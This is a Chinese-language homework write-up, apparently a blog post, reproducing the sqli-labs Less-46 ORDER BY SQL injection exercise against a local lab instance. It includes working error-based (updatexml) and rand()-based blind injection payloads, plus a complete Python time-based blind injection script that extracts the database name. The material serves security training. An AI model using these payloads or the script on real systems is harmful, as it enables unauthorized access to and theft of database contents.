渗透第二次作业

less46复现 

进入46关

12a4ff379cc6492aa694b37039636dd8.png

  根据提示,使用到“sort”这个参数。

让sort=1

b61641fc7cd34064993161d07189de97.png

 页面显示正常,通过第一列排序。

让sort=2

51f37b29aeda4e6a965a596f373611d7.png

 页面显示正常,通过第二列排序。

让sort=3

8a0758ffba3649d29744c5757fe1f7de.png

 页面显示正常,通过第三列排序。

通过以上测试,参数值不同,表格排列顺序也不同,确定应使用order by注入。

查看源代码

6a39b85620a542d0a37c9d8c69b31a1f.png

  sql语句说明sort参数需要接收要排序的列序号。

分别使用“sort=1 asc”和“sort=1 desc”,显示升序和降序表格

a39e4bf946a8412ea358b5ef010cbc48.png

 f6e1d09d0981422086c99a29bb8c6596.png

 报错注入

/?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

1c41bb6a54d44be5971a9abce890c997.png

 基于rand() 的盲注

为真时,页面显示

/?sort=rand(ascii(mid((select%20database()),1,1))>114)

a7e66ccbedf641339785209111e6df9f.png

 为假时,页面显示

/?sort=rand(ascii(mid((select%20database()),1,1))>120)

1ec9fad08ed840f5bccee700c31887c1.png

 盲注脚本

import requests

import time

 

def inject_database(url):

    name = ''

    for i in range(1, 20):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

         # 构造时间盲注payload

            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)

            # 传参

            params = {"sort": payload}

            start_time = time.time()

            # 异常处理

            try:

                r = requests.get(url, params=params, timeout=20)

            except requests.Timeout:

                print("Request timed out.")

                continue

            end_time = time.time()

            if end_time - start_time >= 1:

                low = mid + 1

            else:

                high = mid

            mid = (low + high) // 2

        if mid == 32:

            break

        name += chr(mid)

        print(name)

 

if __name__ == "__main__":

    url = 'http://127.0.0.1/sqli7/Less-46/index.php'

    inject_database(url)

运行结果

c0552d108d95401a802296f20f4d744a.png

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值